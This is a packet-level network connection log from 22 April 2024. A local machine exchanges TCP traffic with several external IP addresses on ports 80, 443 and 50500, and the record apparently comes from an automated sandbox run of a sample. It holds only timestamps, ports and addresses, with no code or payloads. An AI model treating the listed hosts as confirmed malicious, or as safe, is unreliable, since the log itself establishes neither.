Apr 22, 2024 01:18:12.467077971 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467089891 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467118979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467158079 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467168093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467168093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467196941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467236042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467237949 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467237949 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467281103 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467310905 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467324018 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467361927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467370987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467370987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467400074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467417955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467437983 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467456102 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467477083 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467516899 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467523098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467523098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467556000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467586040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467593908 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467600107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467632055 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467639923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467670918 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467694998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467706919 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467722893 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467745066 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467746019 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467782974 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467820883 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467823029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467823029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467858076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467895985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467900038 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467900038 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467932940 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.467936993 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.467972040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468008995 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468014002 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468014002 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468046904 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468058109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468086004 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468130112 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468130112 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468144894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468185902 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468187094 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468225002 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468262911 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468271017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468271017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468301058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468338966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468343973 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468343973 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468375921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468388081 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468414068 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468455076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468456984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468456984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468492031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468516111 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468530893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468545914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468569040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468606949 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468611956 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468625069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468646049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468667984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468683958 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468722105 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468729019 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468729019 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468759060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468781948 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468803883 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468833923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468842983 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468863010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468888998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468904972 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468926907 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.468935013 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.468966007 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469003916 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469011068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469011068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469042063 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469079971 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469082117 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469089031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469119072 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469132900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469157934 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469196081 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469202995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469202995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469233036 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469249010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469269991 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469307899 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469319105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469319105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469346046 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469383001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469396114 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469396114 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469420910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469428062 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469459057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469465017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469496965 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469513893 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469537020 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.469561100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.469584942 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.625942945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.626019001 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.642535925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.642617941 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.660172939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.660228014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.660267115 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.660273075 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.660273075 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.660305977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.660306931 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.660345078 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.660353899 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.660412073 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.702950001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.703037977 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.710263014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.710392952 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.711570024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711646080 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.711802006 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711844921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711884975 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711891890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.711891890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.711924076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711966038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.711971998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.711971998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.712006092 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.712052107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.712052107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.720853090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.720894098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.720920086 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.720932961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.720974922 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.720977068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.720977068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721014023 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721043110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721052885 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721092939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721096992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721096992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721185923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721196890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721225977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721230030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721266985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721304893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721309900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721309900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721347094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721380949 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721394062 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721414089 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721451044 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721482992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721489906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721496105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721529007 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721534967 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721568108 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721606970 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721606970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721646070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721652985 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721652985 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721683979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721704006 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721724033 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721757889 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721764088 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721803904 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721813917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721813917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721841097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721859932 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721887112 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721894979 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721926928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721942902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.721966982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.721976995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722004890 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.722043037 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.722047091 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722047091 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722083092 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.722094059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722122908 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.722162008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:12.722172022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722172022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:12.722206116 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:13.742139101 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:14.029706955 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:14.263556957 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.458267927 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:14.459286928 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.459997892 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.654433012 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:14.654773951 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:14.654812098 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:14.654871941 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.655921936 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.656310081 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.849195957 CEST	80	49714	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:14.849260092 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.849637032 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:14.850233078 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.042141914 CEST	80	49714	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.042272091 CEST	80	49714	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.042306900 CEST	80	49714	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.042351007 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.042433023 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.042653084 CEST	49714	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.043000937 CEST	49718	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.231571913 CEST	80	49718	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.231703043 CEST	49718	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.231873989 CEST	49718	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.233275890 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.233352900 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.233546972 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.233865023 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.233916044 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.234863997 CEST	80	49714	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.420984030 CEST	80	49718	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.421113968 CEST	49718	80	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.627731085 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.627809048 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.643316984 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.643368006 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.643573046 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:15.643631935 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.644957066 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:15.692150116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.050076962 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.052112103 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.052170038 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.052236080 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.242932081 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.242940903 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.242991924 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.243032932 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.243104935 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.243133068 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.243169069 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.243170023 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.243207932 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.435904980 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.435928106 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.435983896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436027050 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436058998 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436383009 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436404943 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436450958 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436470985 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436499119 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436599970 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436774015 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436789989 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436845064 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.436863899 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.436887026 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.437150955 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.631970882 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.631993055 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632071018 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.632155895 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632364035 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632383108 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632461071 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.632481098 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632715940 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.632846117 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632863045 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.632921934 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.632935047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633093119 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.633270025 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633322954 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633338928 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.633351088 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633379936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.633400917 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.633713961 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633732080 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633790970 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.633805037 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.633959055 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.672048092 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.672065020 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.672143936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.672164917 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.673852921 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.827085018 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.827102900 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.827162027 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.827195883 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:16.827223063 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:16.827246904 CEST	49720	443	192.168.2.5	185.199.220.53
